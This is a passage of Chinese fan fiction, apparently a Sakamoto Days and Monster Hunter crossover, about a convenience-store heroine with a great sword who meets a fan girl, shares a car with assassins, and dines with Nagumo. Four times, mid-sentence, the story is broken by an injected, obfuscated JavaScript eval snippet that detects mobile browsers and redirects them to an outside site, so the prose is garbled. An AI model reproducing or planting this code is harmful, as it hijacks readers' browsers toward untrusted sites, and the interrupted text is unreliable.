见周围没人,我鬼鬼祟祟地探身撑在桌面上低声询问:“所以,我真的不认识你吧?” “是这样没错。”她噗嗤一声笑了出来,把两根麻花辫甩到背后,“但是,也可以现在开始认识……” “我的名字叫,虎丸尚!怎么样,很可爱吧?” 3. 我似乎以光速交到了一位城里朋友? 总之,我们交换了姓名后,她告诉我这家甜品店有限时营业的规矩,五分钟前刚好结束一波接客时间,她来得不巧,看了一圈全场除了我对面都坐满了,只好出此下策。 简而言之,就是来拼桌的。 我定下心:“能帮到你就好。” 4. 一起点完单后,她就开始在桌面上摆弄刚刚从书包里掏出来的一堆小零碎。 一个手掌大小但里面装着很多拉链文件袋的收纳壳,几个形状各异但在灵魂上似乎相似的玩偶,一块蕾丝桌布,一板排列整齐犹如阅兵的徽章,还有一些白色银白色银灰色的大蝴蝶结。 我手上轻轻搅动着虎丸请我喝的白巧克力拿铁,眼神却不自觉瞥向她那边的动作。 她把这些东西围绕着那几个娃娃摆好,前面留下一块空地,等她点的云朵舒芙蕾上桌后,非常神奇自然地填上了这块空缺。 我感觉她可能是搞桌上建筑的一名天才。 她见我好奇就开口了:“这个呀,是我的一点推活~” 5. 什么叫推活? 推活就是为了自己喜欢的偶像所做出的所有应援活动,也是阿宅们带着具有偶像相关属性的物品让偶像能够更加融入自己生活的一种生活方式。 虎丸是这么说的。 6. 她拿起精致的小勺拍了拍舒芙蕾的侧壁,那舒芙蕾顿时摇摇晃晃起来,流动的白色奶油慢慢爬向面饼四周。 “这个看上去真的很好吃,但是唯一的缺点就是太过于软软绵绵,不太符合我推杀伐果断的冷酷男子形象。” 我:好香……看上去好像老板晃动的下巴…… 三秒后猛地反应过来,我收回思绪接话:“你喜欢的人是谁啊?”然后探头过去看她手里摆弄着的娃娃。 看见了几张一模一样的模糊开枪背影的照片。 我迟疑地问:“他是个杀手?” 虎丸点点头,眼睛顿时亮了起来:“没错没错,我的偶像就是——传说中的杀手,坂本先生!” 7. 我想起了像照片上的人一样白发还戴眼镜的老板,但瞬间又摇了摇头: 老板虽然也是坂本,但他都已经结婚了应该不会是什么偶像了。 8. 虎丸一边向我灌输着坂本小知识,一边举起手机疯狂拍拍拍。 “这家网红店布景超赞的,而且甜品也是高颜值,绝对出片啊啊啊!” 我因为贫穷所以没有点另外的食物,只是默默喝着手里那杯白得的拿铁。 虎丸为了凑白色系食物有点太拼命了。这白巧克力拿铁的甜度真不是一般人能承受的。 然后我就被虎丸点了。 她嫌这里的光线不是很足,想拜托我找个东西补补光。 “夜子亲!那个颜色很淡哦,说不定可以举起来反光吧!” “对没错,就是你脚边那把伞!” 9. 太刀侠不语,只是一味忍耐。 10. 我觉得回去找个朝仓信揍一顿也就解气了,所以并没有暴走。 何况对方是一个需要帮助的女孩。 更何况我这刀确实长得有那么点儿大众脸。 我缓缓举起刀:“虎丸,这不是伞哦,这是我的太刀。” 11. 我没想到她会这么感兴趣,竟然会直接放下手机凑过来问我能不能仔细看两眼。 当然没问题!来到这里以后,还没什么人对我的太刀这么上心,我恨不得找人说上三天三夜! 不过我还是很克制地仅仅简单叙述了这把太刀的制作素材、特性、攻击力,顺带讲了讲我用这把刀在家乡和这边的世界打下的天下。 虎丸蹲坐着细细抚摸上太刀的刀鞘,似乎对她漂亮的外表很是喜欢。 作为主人的我心里当然是十足的得意:“可惜不能拔刀,我想如果你看到她的刀身和挥刀时刀刃的色彩,绝对会爱上她的!” “诶——那真是太可惜了……”虎丸站起身拍拍裙子感叹道,“不过你说这只是你刀中的一把?” “是啊,只要有材料,就可以去刀纹爷爷那里做各种各样的刀。说来可能有点奇怪,明明已经有了性能最好还有外形最美的刀了,但我还是忍不住去做其他各种各样的刀呢……” 我的思绪又飘回炎火村,我天天缠着刀纹爷爷打刀的那段时光。 虎丸把桌上那些摆件都重新收回书包,听到这里她立刻义正言辞地指出: “根本不奇怪!这只不过是一点小小的收集癖罢了!” “这和我收集自推的各种制品一样嘛,但就相片来说就有正颜侧颜背影,春夏秋冬衣装ver,使用不同武器的版本等等等等。” “就对自推之爱来说,这收集癖哪儿怪了,这收集癖可太赞了!” “那照你这么说,我的推就是太刀喽?”我一口气喝完那杯拿铁。 没想到她格外赞同地点点头:“我也觉得,你说不定意外地也很有宅属性天赋哦!” 12. 我们又就着这个话题聊了聊,她说她的武器是枪斧,随即神秘地从挂在椅子背后的黑色盒子中拉开一小部分拉链,虽然只是一角的寒光闪闪,但直觉上我觉得和她十分相配。 我也这样夸赞出口了。 “没想到我们在武器装备上也很有共同话题啊!”她惊讶地捂着嘴,“虽然武器本质上是无属性的,但是就是会和使用者有很大的相性关系。” “其实我还是比较好奇为什么你一个高中生会随身携带这样的武器。” “毕竟是杀手世界嘛没办法,而且你一个便利店员不也随身佩刀吗?” 啊,我其实是怪物猎人来着。 虽然这里没有怪物。 她继续说:“话说我今年也准备转学去杀手学校了,真有点期待呢!”说着话又一转,“夜子你是杀手吗?” 我哑然失笑:“怎么可能啊,我在店里工作就已经足够了呀。” 13. 要是可以的话,我和虎丸可以在这儿聊一下午,只不过我得去接小花放学了。 主要是我不确定这里离幼儿园有多远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063109|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以还是尽早出发比较好。 虎丸嘴边沾上了些奶油,听到我要走连忙从兜里掏出了手机: “夜子亲~我们还没有交换联系方式!” 我脚步一顿:“啊,抱歉……我没有手机的……” 她显然是吃惊到了无以复加的程度:“什、什么?一个现代人还会没有手机吗?” “毕竟我就在上班的地方住着,家里有座机,感觉没什么用私人电话的必要……” “那如果下次遇到别人,就比如说我呢?你难道就不准备认识新朋友、永远和同一批人呆在一起了?” 14. 我从来没有考虑过这个问题。 回想起过去,似乎一直以来都是自然而然地、我被一群人围绕着共同生活,确实很快乐,也确实没有过什么我主动认识新朋友的经历。 难道说,其实我是个社交能力超烂的人? 我意外发现了这件事,颇有些局促地告诉她:“那我告诉你我的住址吧!” “我住在憩来坂的坂本商店,也在这里工作,随时欢迎你过来玩哦!” “好巧哦!也是坂本呢!” 虎丸表示这么有缘的地址她绝对记住了,有空一定会过来看看我和我的刀。 15. 我本原路返回一开始的地铁站,结果却离奇地来到一个更陌生的站点,不出意外又一次被大城市震惊到了。 地铁站的人流量怎么又加倍了啊! 不过好在我是尊贵的vip用户。 走到那个隐蔽的小口,这次我学乖了,提前就从口袋里一把把东西掏了出来,走到检票大哥那里的时候正好从一沓各式各样的卡片里翻出我的地铁卡。 我随口向大哥抱怨道:“人这么多啊,感觉坐汽车都快比地铁快了。” 大哥若有所思:“那正好这里空出来一辆车,你就用这辆吧。” 我:“啊?” VIP还提供这种服务? “有驾照吗?” 我摇摇头,大哥大概本来只是例行公事般问一嘴,哪能想到我是真没有,他翻了个白眼回头招呼后面的同事: “喂大田!算你小子走运,来了个没驾照的,你送她过去就下班吧。” 那个叫大田的从椅子上弹跳而起,吹了个口哨抱起身后挂着的衣服就朝我走来。 他手里转着车钥匙,嬉皮笑脸地对我说:“跟我走跟我走!” 16. 葵姐,听我的,明年还买这个服务,包赚的。 我目瞪口呆地上了车。 17. “去哪儿?”大田发动了汽车。 “憩来坂幼儿园。” “这些年委托也真是越来越丧心病狂……上次一个养老院,这次竟然幼儿园都下手了……”他低声嘟囔。 去幼儿园接小花放学有什么丧心病狂的? 我刚想发问,大田就一脚油门飞了出去。 我没夸张,是真的像飞了出去,绝对是老板骑自行车飙车也没办法企及的速度。 我就这样被空气摁在了椅背上,脑子里一下什么问题都荡然无存了。 18. 不过坐久了就发现还挺有意思的! 19. 大田大概是接到了一个来自上级的电话,他放缓了车速,毕恭毕敬地点了接听。 “哦哦好的,但是我车上现在有人……没问题吗,那就好!” 挂断后,他回头看了我一眼:“要去接大官了,你不想呆着就下车。” 我看了眼车窗外飞速掠过的高速公路,还是选择了闭嘴。 20. 什么大官? 难道说是充了超级至尊VIP? 9. 五个字母是什么意思 1. 我把头靠在车窗玻璃上,感受着车辆颠簸的不规则响动,撞击的时候头皮麻麻的,有种在按摩的感觉。 “大田先生,我还有一个小时要到,不知道来不来得及?” 他拐过一个路口,重新开始加速:“那你要问了待会那两个人才知道。” “喏,就是他们。” 2. 黑色轿车在某个僻静巷口缓缓停下,方才车内还是温暖的空气似乎骤降五摄氏度,我坐直起来,不由得眨了眨眼。 车内这片小小空间被光线分割成两半,我坐在变冷的阳光下往左望去,楼房倾倒下的阴影中慢慢显出两个高挑的身影。 一人抬头无神地凝视着天空,一人垂首无所事事地发呆。 啊,就是他们。 3. 身着黑衣的一男一女悠悠然上了车,金发男子坐在副驾,提着巨大电锯的女人打开后座车门抬起眼皮略过我一眼,就不咸不淡地落座,离得我很远。 男人向大田先生报了个地名,之后就不再动弹,只是懒洋洋地环臂靠在椅背上。 我这才想起来一个最关键的问题,连忙向大田问道: “你不会是说要先送完他们才能载我过去的意思吧!” 他连头都没回:“这不废话吗?” 我重新审视了这两人一番:“明明是我先来的吧……看来他们真的是SVIP啊!” 大田突然咳了一声低声自言自语:“不仅字母没一个是对的,而且这人连字母个数都搞错了啊喂……” 4. 看在时间尚且充裕及大田先生超前的驾驶技术,我想就算前方被加塞一单应该也来得及。 拼车的那两位很冷淡的样子,看上去不熟却格外有默契,尤其是我身旁的女子,漆黑的裙摆、沾着血痕的圆盘电锯、不带一丝感情的面孔,那副模样让我想起了几年前跟着肉铺老板去屠宰场参观时遇到的屠夫。 屠夫先生的手也很快,他说干他们这行的除了一件称手的利器以外,最离不开的就是一套合身的围裙和雨靴,长长的围裙,塑料皮的靴子,他还说衣服还是得买黑色,黑色耐脏。 明明是一个很爽朗的人呢,但是换上那身外衣后他就手起刀落,对我们没有半点理会。 5. “你很奇怪。” 一旁女子的纯白头纱在肩侧垂下,她匀速而缓慢地朝我这边歪头低声道。 我吃了一惊,因为我原以为他们这样冷酷有范儿的人不会主动开口说话。 不过说的话也让人听不懂呢。 我和她对上了视线,但其实也不清楚她是否真的在看着我。 大概是因为我还是第一次见到那样的深黑色见不到光影的瞳孔。 很漂亮。 她也没有要和我对话的欲望,只是这样抛下一句话又回归了原位,像是什么都没有发生过似的。 要说奇怪的话,她也毫不逊色吧!我只得默默摩挲太刀刀柄。 6. 话说在前面,我为人向来光明磊落,绝不爱做什么听墙角的事儿,所以接下来听到的一切都是出自拼车的必然性: 女人:“神神廻先生,我饿了。” 男人:“这不是正在带你去吃饭吗。” 沉默了一会儿。 “神神廻先生,为什么车上没有零食。” “……因为这不是我们原本自己的车。” “说到底还是要怪神神廻先生你吧。如果你没有那么不小心,轮胎就不会被什么小混混戳爆。” 女人的语气极其平淡,其中还夹杂着一丝理所当然,我忍不住看向前座的男人,期待他会怎样回复。 他终于是从前排回了一次头,我由于某种突如其来的心虚飞速将视线转移到车顶,余光里瞥见金色的发丝像阳光下晾晒的挂面一样晃动。 他叹了口气:“……大佛,迁怒我也没用,我变不出吃的来。” 7. 我摸出了一包小熊饼干。 “那很巧了。”我忍不住侧身过去,“小熊饼干,吃吗?” 没有砸那个神神廻先生场子的意思,单纯喜欢展现人格魅力。 实际上这是来源于往常接任务的惯性:乡亲们哪个缺材料了就该让我烈焰端上一条龙服务了。 女人略微迟疑了下就接过去,翻来覆去端详着饼干包装。 是那个卡通棕熊的贴画让她觉得不适了吗……似乎也确实不太像他们潮人喜欢的风格。 金发男这次是被我给噎住了,絮絮叨叨转回身:“到底是为什么会随身携带着那种东西啊……” “诶?这很小众吗?因为我经常要带小孩啊。” 他倚在车窗上撑着额头:“呵呵,那我以后带小孩的时候会注意的。” 8. 男人没休息多久,又不耐烦地接起一通电话,看到电话来人时脸色瞬间又黑了两个度。 “大佛,晚饭没了,准备加班。”他恶狠狠地挂断电话,接上一句,“下次见面你提醒我一定要把南云给杀了……” 女人嘴里叼着一枚饼干回答道:“那么,请神神廻先生不要拖后腿,我想快点吃到饭。” 相比大佛的云淡风轻,显然神神廻更难消化此时的情绪。 作为一名阅人无数的便利店老员工,此刻我深知,面对这样破防的成年人,我应该—— “这个薄荷冰凉贴你拿去用吧,可以暂时降降血压,大家用过都说好的。” 和果子屋的老太太在我们店里看到自家儿子发的“买一送二”赔本宣传传单时,我也给了她一片,她立刻就降火了。 9. 神神廻嘴上什么也没说,但还是接过了我的冰凉贴,死马当活马医地贴在额头。 他靠在椅背上闭目养神,向大田发话:“你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063110|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送她去目的地吧,我们的新地址等送完她再跟你说。” 10. 大概是有一小段路顺路的关系,所以我还没反应过来幼儿园就出现在了眼前。 甚至还提早了些许。 下车后,四处晃悠着,我不由得感叹还是这种熟悉的街道比较放松啊! 没有喧嚣,没有人挤人,没有物价超高的甜品店。而且治安也很好。 11. 我走进一家手机专卖店,随便逛了逛。 贵得吓人。 叹了口气,但又想到虎丸对我说的话。 还是过两天找一家二手店再看看吧。 12. 放学铃响过之后,其他小朋友纷纷走出校门,我却迟迟不见小花的踪影。 等了十分钟,校门口人都变得稀疏了,我有些忍不住担心,也不知道小花还留在学校里面做什么。 不过就在我踮起脚尖探头张望的时候,小花背着书包跑过来了。 “夜子,我跟你说,有一个很帅的男生刚刚和我告白了哦!” 13. “哪个?”我下意识地问道。 小花摇摇头,告诉我她答应了那个男生要保密。 不过她并没有答应那个男生的告白请求。 “因为感觉他只是想和我继续在一起念小学呀。” 我牵着小花的手一起过马路:“小花你干得很好,这种事还要保密的男生只不过是胆小鬼罢了。”不由得松了一口气。 14. “啊,这件事千万要对你爸爸保密好不好?” 而且绝对不能让朝仓信不小心听到以后再不小心泄露给他。 15. 我和小花达成一致意见,把这件事告诉葵的时候她也笑着和我们统一战线: “是女生之间的小秘密呢~好怀念啊!” 16. 很久之后,剩下那几个人终于也回了家。 久到我已经忘了他们是去哪里做什么的。 然而。 “什么!?明天还要再去?” “是不是写作解决悬赏,读作逃班啊!” 陆少糖眼神在我们之间转了转,略显窝囊地发言:“和店长一起出门算哪门子的逃班啊……” 朝仓信也点头道:“大不了之后我们替你多上会儿嘛。” 葵适时岔开了话题:“夜子,我们明天也不是没事做哦。” “上午我不是去开会了吗?一年一度的商店街生存大会已经开始筹办了,我在想,今年我们人这么多,要不要准备些和往年不同的东西呢?” 也对。 17. 我只能祝福他们明天能够安然无恙地查出悬赏的来龙去脉,但倘若这件事真的是我来到这里的任务主线的话,恐怕没那么容易解决。 毕竟,我还没有讨伐过任何一个任务对象。 10. 南云没还我钱 1. 商店街生存大会,顾名思义就是憩来坂的街坊邻居们为促进邻里感情、盘活实体经济而定期举行的综合性射击游戏大会。 简而言之即为:线下真人CS。 商店街的店铺每家都要做好应援选手们的准备,从提供特色产品到装饰街道布置,都可以出上一份力。 葵打字时抽空问我,既然店里现在有这么多人,要不要试着组队参加比赛? 我一边忙着收银,一边回想着以往与“射击”的故事: 用弓箭时一个冲动直接抡箭乱打,用轻弩只会狂射忘记切换子弹,用重弩最爱用加特林和龙击弹制造枪林弹雨,结局就是浪费了所有超贵弹药。 我:“算了吧,我还是当后援比较拿手。” 2. 其实关于应援物,我似乎有过一个很好的办法,也有过一个很划算的门路…… 但是我给忘了。 3. 看店,很难捱。 这当然不是说和葵姐一起待着是种煎熬,我绝对很喜欢和她呆在一块儿的。 只不过总有一种不祥的预感。 4. 大概只是我多想了吧。 今天生意出奇地不错,甚至还有盈利。而且也没有被任何一个刁钻顾客找茬,甚至肉包也卖得也刚好剩下两个当下午茶。 唯一有点美中不足的就是,店门口的灯泡似乎有些忽闪忽闪,虽然有挡雨棚遮蔽,但放在那儿总不是个事情。 临近晚饭饭点,等到店里基本没人的时候,我就搬了个梯子过去准备换灯泡。 “葵姐,给我递一下十字螺丝刀。” 虽然这种加强版锁扣梯本身就很牢固,但为了以防万一,我还是请葵在底下帮忙搀扶着。 接过螺丝刀,我一手牢牢把住梯子扶手,一手把螺丝刀放到近前观察有无生锈,确认无误后又向上走一步准备拆卸。 刚一抬头,谁知道那个灯泡便毫无预兆地发出爆裂的声响,直接在我耳边炸开,几个火星子惹得我眼睛都瑟缩了下。 葵姐在下面大喊:“夜子,你没事儿吧?” “我完全没被吓到!!” “但是你右边头发着火了!” 5. 烈焰,燃起来了。 6. 我着急忙慌甩起脑袋灭火,再一次摸上我那块头发时只感觉摸到一手碎屑渣渣。 没事,头发不是有十万根吗,不差这么一点的。 什么不祥的预感嘛…… 真是自己吓自己。 7. 我安然无恙地换上了新的电灯泡,建议葵姐下次买个LED灯的替换装,防止今天的惨剧再次发生。 “感觉老板还是不怎么懂行啊……” “啊,老公你回来了!” 我俩异口同声道。 8. 有什么是比你面对着老板老婆蛐蛐他本人、回头一看老板笑眯眯扶着你脚下梯子这种事更倒霉的? 我这运气简直是糟糕得万里挑一。 原来不祥的预感在这儿等着我。 心下羞愤之余,脚一滑人一晃,就从梯子上摔了下去。 头还创到了挡雨棚。 围裙里藏着的一袋Q.Q糖还甩了出来。 没事哒没事哒,我还可以使出翔虫受身,至少能有个华丽的转身落地。 9. 其实我知道老板不会对我怎样的。 老板虽然沉默寡言,但本质上是一个温良的男人,一句若有若无的闲话罢了,他丝毫不会放在心上。 我撑墙摆了个pose,僵硬地看着他身旁的朝仓信说道: “老板,你们今天查出来什么没有啊?” 10. “进去说进去说嘛,待在外面可太引人注目了哦。” 老板背后突然传出一个轻飘飘的声音,我皱着眉看过去,竟然是一张熟悉的脸。 是那个叫“南云”的男人。 他在黄昏的凉风中从老板身后怡然自得地走出,依旧是那件雷打不动的卡其色风衣,衣角蹁跹,让人想起一个又一个轻飘飘的谎话。 我牵动唇角回以他庄重的视线:“是你啊,正巧我也有事找你。” “一起进去吧!” 11. 他似乎是没想到会被我这样认真地对待,原地愣了下就又恢复那副悠闲的样子,插着兜进了门。 我倒是听见朝仓信和陆少糖两个窃窃私语着什么“为什么那家伙非要跟过来啊”之类的话。 “话真多,跟我来。”我对他俩使了个眼色。 12. “请坐。”我给他端了张椅子,“朝仓,陆,那边守好了。” 南云那张池面脸倒是少见地挂上一头雾水的神色。我站在他面前将账本用力拍在桌面上,动作浮夸地往前翻了两页,再一拍桌摆到他眼前: “三天前,嫌疑人也就是你在我店趁乱偷走一包百奇,看在你是老板朋友的份上请你速速原价归还!” “不然我就要报警了!” 南云歪头“噗”地一声笑了出来,从皮夹里拿出一张纸币递给我,站起身撑在柜台上突然靠近: “你真的是个很奇怪的人呢……” 我:“哈?” 我哪儿怪了?为什么今天一连两个人都这么说? “你们俩,我怪吗?” 我狠狠指向前面杵着的两个后辈,无意识地摸上自己的脸颊。 他们纷纷摇头摆手:“根本没有!夜子前辈非常好!” 我就说嘛。 13. 一回到家老板就缠着葵姐上楼准备晚饭了,压根没管我们楼下的动静。 此刻的商店里,三个姓坂本的不在,我就是最大的。 也意味着我可以随意处置这个南云了。 他虽然还了钱,也没做什么坏事,但毕竟来路不明,两个后辈还不知为何对他敌意很大的样子;关键是他一副假惺惺看不透虚实的表情,看了实在令人火大。 “你有什么想买的东西吗?我可以帮你找。” 我尽可能拿出一个较为客观的营业态度。 他的笑容挂在嘴边:“嗯,是一样有钱人想要、聪明人知道、穷人都需要的东西。”* 14. 我不太理解但是:“什么牌子的高级货?” 朝仓信倒是急了,他迅速为我概括道:“前辈你不要听他胡说八道了!他完全是在忽悠你!” 两个后辈一左一右跑到我身边,一个告状说南云刚刚在逆转会特地拿伸缩小刀吓自己,一个吐槽说那种被他俩揍了一顿后还笑眯眯的男人绝对是变态。 我示意他们暂且先退到我身后去,再次看向南云时已经脱离了便利店店员这一身份。 “『逆转会』?” “你到这里来究竟有什么目的?” “我来还钱的。” “你能不能说句实话?” 他假装痛彻心扉地捂住心口: “我是为你而来的。” 我还没来得及吐槽,朝仓信就猛一跺脚:“夜子前辈他又想骗你!” 我只得向前一步:“你这家伙,不会是把我当弱智吧?我和你根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063111|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认识啊!” “诶,这次我说的可是实话——因为对你很感兴趣想要多些了解什么的,难道说,这个理由你不愿意接受吗?” 迟缓的脑子转了下,我略带疑问地问出: “你…想和我做朋友?” 15. “朋友啊……” 南云既没承认也没否定,只是落下一句“谢谢招待,我还会再来的”,就准备离开。 习惯性低头说上一句欢迎下次光临,桌角一张关于商店街生存大会的传单便偶然映入视线。 电光火石之间,我想起来了。 16. 南云的风衣衣角还停留在自动感应门的范围内,就被我一把抓住。 “南云先生!” 他停下了脚步,双手摊开在身体两侧:“我这次可什么也没拿走哦。” “你上次冒充老板的时候,答应过我一件事,你还记得吗?” “你说,要给我们定制文化衫的。” 我嘴角扬起一抹灿烂的笑容。 那个记忆中很物美价廉的生存大会应援方式,我记起来了。 17. “算我头上?” 他指了指自己,好像很不可思议。 “南云先生,说话要算数啊。” “就算你这么说,我现在也拿不出钱啊……你看我,穷得每次都只能穿同一身衣服……” “南云先生……” 我又一遍念起他的名字,思忖着这莫名的熟悉感从何而来。 “啊。”又是一个灵光一现,“你是不是认识一个金色头发很漂亮的男人和一个黑色的漂亮女人。” 看他微微张大的双眼,我想应该是说中了。 “你是和他们结仇了吗?人家都说要来杀你了哦。” 南云站在我刚换好的门灯下,单肩背着刀盒,不知在想什么。我疑惑地看着他的眼睛,他却好整以暇地一点一点俯下身,似乎想从这样的对视中探索出什么答案。 我只是不明白他这样低头盯着我算什么意思。 想要以身高制造出一些压迫感使我放弃让他买文化衫的念头? 但其实他的高度也只不过略胜我一筹,这就有一丝淡淡的幽默在了。 我想都没想就直接伸手,穿过他空荡荡的风衣,握着他的腰举起来放远了点儿。 我:“头发真硬,戳我脸上像钉子似的。” 18. 总之就是约好了明天去某家居酒屋会面,他会带着刚领的工资向我报到。 他说:“以朋友的身份?” 我回答道:“可以,如果你不介意我没有手机的话。” 19. 一回头就看见朝仓和陆两个人像鬼魂一样紧紧贴在玻璃门上看着我。 “干啥,关门上楼帮忙晚饭啊!” 我拍拍后辈们的脑袋。 一想到刚才短短几分钟之间就为商店办成一件大事,我就感到无比自豪。 20. 朝仓信忍不住问我:“你怎么就直接上手把他举起来了啊?” “你很羡慕吗?”我锁上门,“你这样的,我更是毫不费力。” “我哪一个字说了羡慕啊!!” 我自顾自地继续炫耀着自己的实力:“你的话,我一只手就能拎起来。” “如果握着脖子不怕窒息的话。” 陆少糖狂笑不止。 21. 其实我在想: 「举重训练吗?这听起来也不错。」 22. 看了眼朝仓信,他也没说反对。 11. 原来是一伙的 1. 晚上我们不约而同地凑到朝仓信房间里,有一搭没一搭地讨论着关于逆转会事件的后续,当然主要还是给我这个未参与者同步一下消息。 虽然我也和他们提过,跟我讲这些东西可能没有什么实质性作用,但是他们坚持“是partner就要知无不言”的观点,愣是给我梳理了三四遍。 所以目前事情就是:逆转会告一段落,但是十亿悬赏令并没有解决,反而还从南云那里得到新消息,某个邪恶犯罪团体『X』(斯拉)想要坂本太郎死。 我复述了一遍,朝仓信欣慰地呼出一口气:“既然夜子前辈也能听明白了,说明我的说话能力有了很大的提升。” 我白了他一眼,但确实没话反驳。 2. 我换了个姿势靠在朝仓信床脚:“不过我还是有两个问题。” “首先,所谓的斯拉在哪儿?我明天就可以去打。” “其次,这个南云不会又在骗人吧?” 陆少糖脸上亦是愁云密布:“我们都不知道斯拉是谁呢……不过夜子姐,南云先生在这种事情上我倒是感觉意外地靠谱呢,应该不会有问题!” 朝仓信补充:“毕竟是传说中的‘ORDER’啊……” 老板此时也捏着两片吐司面包走了进来,听见我们的聊天话题后默默站在一旁观望。 我的目光瞬间被吸引了:“老板,给我撕一点下来,我也想吃。” “里面抹了草莓奶油。”老板郑重道。 “好的,我不抢人所爱。” 3. “所以order是什么?”我重新坐回去。 朝仓信盘起腿:“大概就是隶属杀联的最强精英阵容,是个聚集了南云这种以及坂本大哥这种人的权威组织。” 我听懂了。 就是杀联内部搞的小团体。 4. 说起南云,我倒是想起来明天的约饭还没和他们通报。 我面上轻描淡写地告诉他们,实则内心暗暗期待着惊他们一喜,然后纷纷赞叹我运筹帷幄智勇双全。 结果。 “夜子姐要和那个轻浮男去约会吗!?” “夜子前辈你一个人吗带上我吧!” “南云……” 三个人不约而同地回答道。 我一时不知道作何反应:“诶、竟然没有任何一个人夸我厉害吗……” “而且只是去拿个钱,不是什么约会吧……” 陆少糖和朝仓信两个人咋咋呼呼还可以理解,但是老板为什么也用那种担忧的目光看着我? 那两人还想说些什么,不过老板先开口了: “南云他,总体上是个好人。” “不过,如果他说了什么你觉得奇怪、或者听不懂的话,就不要听进去了。” 虽然还是云里雾里,不过我还是点了点头。 5. 当我搭着公交车晃晃悠悠逛到附近的百货大楼时,闷闷的夜色已然降临。南云当时和我说他下班可能会比较晚,如果先到就在外面逛逛,绝对不要先一步进去。 我问他这是有什么特殊的规矩,必须两个人一块儿进门吗,他轻飘飘一句,“要是你先进去等我,那岂不是所有人都知道我是个让女孩子久等的混蛋了吗?” 唉,混蛋。 不过就算他混蛋,拿到钱之前我不会出声半句。 6. 绕到百货大楼的后门口,向右走过一个街角,再往哪儿走来着? 我回忆起南云给的地址眯着眼睛向前看去。 啊,不用想了,南云已经在那儿了。 他今天依旧是那身风衣,只不过里面换成了一身看上去更有质感的深灰色西装,在居酒屋门口插兜吹着凉风。 发现不远处的我后,他便直起身,借助身高优势在路过人群的空气上端小幅度朝我招招手,脸上的笑容不知怎的看着还是很来气。 我划开人群走了过去。 “你的风衣。”我没来由地来了一句,“好像老板的围裙啊。” 他条件反射低下头查看,过了两秒像是无奈地开口道:“诶,看不出来啊,原来你还有色盲?” 我跟在他身后迈入居酒屋:“你不觉得吗,它们都很像是一件焊在身上的外观装备。” “外观装备?你是游戏宅吗。” “……什么游戏?” 7. 这段没话找话的对话在我们进入某个走廊前停下了。 南云单手撑在我面前的墙壁,嘴角噙着一丝神秘:“今天这顿,你想吃什么随便点哦~不用担心价格。” “真的?那你做好心理准备。”我摩拳擦掌。 他心态超好的,说着“我不用做心理准备啦”就迈开步走出走廊,绕过附近几张空桌,径直坐在了一对埋头吃饭的男女旁边。 8. “哇,好巧,是神神廻啊。” “今天下班挺早的嘛!” 南云无视空气中的火药味侧身拿起菜单细细看了起来。 我在他身边坐下,颇为心大地靠过去浏览这里的各色菜式。 ……诶等下。 顺着散发着阴沉气息的方向看去,入目的竟然是两张熟悉的面孔: 『神神廻』和『大佛』,如果没记错的话。 金发的男人没看我一眼,他用力咬断刚进嘴的面条,额角爆出青筋: “南云……你不是说最近忙得来不及吃饭所以把那三个任务转给我们的吗……” “为什么又像个没事人一样在这儿晃悠啊!” 南云睁大了那双疑似很无辜的大眼睛,耸耸肩说道:“所以说现在我刚刚忙完来吃个饭啊。” 对面的黑衣女子擦擦嘴面色宁静:“神神廻先生,他好像是故意来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063112|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向我们展示的。” “哪有!人家根本不知道你们也在这儿嘛!偶遇同事来打个招呼还要被怀疑,是不是有点太惨了啊!” 同事? 我恍然大悟:“想必这两位就是你之前说的负责开车的、和负责扫尾的后辈吧!” 9. 我是说了什么不该说的话吗…… 为什么大家都看着我? 10. “开车的……和扫尾的?” 神神廻用力得似乎快把手里的筷子捏断了,我看着都心疼。 “……对筷子好一点吧,它也没犯什么错。”我忍不住开口。 这下几人的目光又重新回到我身上了,三双黑洞洞的或大或小的眼睛盯着我,感觉还怪有意思的。 最后是大佛最先打破僵局的:“你…是那个小熊饼干。” 